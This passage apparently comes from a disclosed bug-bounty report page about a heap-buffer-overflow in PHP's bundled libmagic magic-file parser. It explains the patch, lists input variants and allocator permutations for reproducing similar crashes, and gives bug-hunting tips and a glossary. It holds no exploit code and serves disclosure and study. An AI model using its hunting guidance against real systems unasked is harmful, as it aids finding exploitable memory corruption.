The single changed line replaces one increment with a while loop. The loop keeps adding 20 to the length and recomputing the byte count until the length is greater than the requested level. Only then does the code below allocate or resize the array, so the array is always at least as long as the index that will be used. The researcher's reasoning is that with these test files the level is 31 or 32 while ms->c.len is 10; the old code added 20 once, resized the chunk, and then indexed at level, overflowing. The loop guarantees the length exceeds the level before any indexing happens.

After the patch, the researcher reports no crashes, and the output matches the non-ASAN, Zend-allocator baseline: the magic database fails to load and finfo_open() returns false. The upstream libmagic bug was reported separately, and the report notes it was fixed with a slightly different patch from upstream libmagic and applied to PHP.

Variants to test

  • Deeply nested continuation lines in a magic file: any input that drives the parser's level past the current array length should be tried, not just runs of >. A positive result is an ASAN heap-buffer-overflow in file_check_mem, or a crash whose presence depends on USE_ZEND_ALLOC.
  • Other libmagic entry points that parse attacker-controlled files: the same file_check_mem growth logic is shared, so any path that reaches the parser with a high nesting level is worth exercising.
  • Allocator permutations: run each candidate input with and without ASAN and with USE_ZEND_ALLOC set and unset. A crash that appears only in some configurations is a strong signal of heap corruption rather than a clean bounds check.
  • Boundary levels: try inputs that produce levels just above and just below the growth increment, since the bug only manifests when a single increment is insufficient.

Hunting notes

This kind of bug hides in parsers for file formats that carry their own nesting or length metadata, especially vendored third-party libraries inside a larger project. Vendored means the project copied the library's source into its own tree instead of depending on a separately installed version. The ext/fileinfo/libmagic directory is a bundled copy of an upstream library, so fixes have to be tracked in two places.

During recon, the signals are: a feature that accepts a file path or file contents from the user, a bundled parser library, and crash behaviour that changes with allocator settings or sanitizer builds. Building the target with ASAN and running the same input with and without the custom allocator is the quickest way to separate a real memory corruption from a benign error path.

To show impact, the researcher mapped the crash to a specific function and line with ASAN, confirmed the index and array length in gdb, and demonstrated the same corruption producing different faults under glibc and the Zend allocator.

Glossary

  • AddressSanitizer (ASAN): a debugging tool added at compile time that detects out-of-bounds and use-after-free memory accesses and reports them with a stack trace.
  • Allocator: the component that hands out and reclaims chunks of memory for a running program.
  • Backtrace: the list of function calls that led to the current point in a program, shown newest first.
  • Breakpoint: a request to a debugger to pause a program at a chosen function or line.
  • Buffer: a reserved chunk of memory used to hold data.
  • Buffer overflow: writing data before or after the end of a reserved chunk, damaging neighbouring memory.
  • CLI SAPI: the command-line version of PHP, as opposed to the web-server version.
  • Diff: a before-and-after view of source code, with removed lines marked - and added lines marked +.
  • Environment variable: a named setting passed to a program when it starts.
  • gdb: the GNU debugger, a tool for running a program, pausing it and inspecting its state.
  • glibc: the standard C library on Linux, which includes the system malloc allocator.
  • Heap: the area of memory a program uses for data it creates while running.
  • Hex dump: a display of a file's raw bytes in hexadecimal, usually with the printable characters alongside.
  • libmagic: the library that reads magic databases and identifies file types, also used by the file command.
  • Magic database: a text file of rules describing patterns that identify file types.
  • malloc: the C library function that allocates heap memory.
  • Memory corruption: damage to memory that a program did not intend to change, often caused by writing out of bounds.
  • Nesting level: how deep a rule sits inside other rules, tracked by the parser as a number.
  • NUL byte: the byte value zero, often used in C to mark the end of a string.
  • Remote code execution: an attack in which the attacker gets their own instructions to run on a target system.
  • Segmentation fault: the operating system terminating a program because it accessed memory it was not allowed to.
  • Shadow bytes: ASAN's map of memory, where each byte records whether the corresponding real bytes are safe to use.
  • Struct: a C language construct that groups several related values into one unit.
  • USE_ZEND_ALLOC: an environment variable that, when set to 0, disables PHP's own memory manager so allocations go to the system allocator.
  • Vendored library: a third-party library whose source has been copied into a project's own tree.
  • Zend memory manager: PHP's own allocator, which manages memory for PHP scripts and its internals.

More by haquaman

View all

28 more disclosed reports, best first.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.